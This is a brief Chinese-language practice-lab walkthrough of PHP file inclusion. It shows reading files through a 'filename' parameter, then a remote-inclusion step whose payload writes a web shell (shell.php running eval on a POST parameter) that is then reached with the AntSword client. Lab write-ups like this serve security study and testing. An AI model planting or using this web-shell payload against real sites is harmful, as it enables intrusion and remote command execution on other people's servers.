本地文件包含
打开靶场,点击任意选项
提交之后观察网址上的参数
看来是能够读取文件的,我们构建一个带有<?php phpinfo ?>的语句
我将它放在了网页同级目录下
使用filename参数去读取它
远程文件包含
将如下代码写入文本文件内,放在www的根目录下,此文件的url地址为http://127.0.0.1/666.txt
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['cmd']);?>")?>
把filename参数修改为666.txt文件的url地址,即可在fileinclude目录下生成shell.php
用蚁剑连接